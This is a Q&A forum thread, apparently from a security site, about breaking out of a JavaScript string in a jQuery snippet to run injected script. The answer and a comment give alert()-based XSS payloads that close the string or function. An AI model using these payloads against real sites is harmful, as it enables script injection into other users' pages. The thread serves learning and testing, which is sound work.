0

For example we have this:

<script type="text/javascript" charset="utf-8">
    $(function () {
        var stranica = "#aXSSinjection point";
        var stranicaContainers = $('div.stabs > div');
        stranicaContainers.hide().filter('#ageneral').show();
        $('div.stabs ul.stranicaNavigation a').click(function () {
            stranicaContainers.hide();
            $('div.stabs ul.stranicaNavigation a').removeClass('selectedstranica');
            $(this).addClass('selectedstranica'); 
            return false;
        }).filter(stranica).click();
    });
</script>

This page is just an example, got it from pastebin. So now how can I show alert box without using </script>. I always try to close that function and then add alert(0) and then ignore the rest of js with //, but sometimes it works sometimes it doesn't.

4

Some obvious things to try are:

blah"; alert('xss'); "blah

or

blah"; }); alert('xss'); $(function () { var stranica = "moreblah

This question is probably too narrow for this site.

2
  • Thanks for answering ,it seems that sometimes repairing broken function works and sometimes not. Thanks you gave me an idea. – Daniel Oct 31 '12 at 12:05
  • 5
    My favorite payload: "+alert(/xss/)+" – pgolen Oct 31 '12 at 12:34

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.